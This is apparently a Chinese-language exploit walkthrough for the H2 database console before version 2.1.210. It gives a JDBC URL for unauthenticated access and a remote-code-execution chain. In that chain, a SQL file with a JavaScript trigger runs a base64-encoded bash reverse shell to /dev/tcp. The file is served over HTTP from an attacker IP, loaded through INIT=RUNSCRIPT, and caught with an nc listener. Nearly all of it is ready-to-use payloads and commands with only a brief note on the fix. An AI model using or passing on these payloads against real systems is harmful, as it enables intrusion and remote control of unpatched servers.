数据库应用-H2database–未授权访问&命令执行漏洞
Java SQL 数据库 H2,H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。
H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在v2.1.210+中修复。2.1.210 之前的H2控制台允许远程攻击者通过包含子字符串的jdbc:h2:mem JDBC URL执行任意代码。
1、未授权访问:
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\
将上面这条代码复制到 JDBC URL中
直接点击连接即可,未授权进入数据库
2、命令执行漏洞:
在攻击机上创建一个数据库文件:h2database.sql
这个sql文件内容需要自己修改
反弹shell命令示例:bash -i >& /dev/tcp/x.x.x.x/6666 0>&1 (这个IP写你shell要反弹到哪台主机上的那个主机的IP)
CREATE TABLE test (
id INT NOT NULL
);
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,把反弹shell的命令base64编码过后放在这里}|{base64,-d}|{bash,-i}");';
在攻击机上监听端口 nc -lvvp xxxx (这个端口要看你刚才反弹shell时对应的端口)
启动提供SQL文件远程加载服务
利用以下命令快速提供一个web服务,这条命令会把当前目录下的所有内容共享出去,那么你需要到刚才创建sql文件的目录下执行下面这条命令
python3 -m http.server 端口
填入Payload使其加载远程SQL
下面这条命令的后面需要修改一下你自己攻击机的IP和端口
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://192.168.91.129:89/h2database.sql';\
然后把命令写入到 JDBC URL中点击连接即可
返回监听的主机上 看到拿到了反弹过来的shell,命令执行成功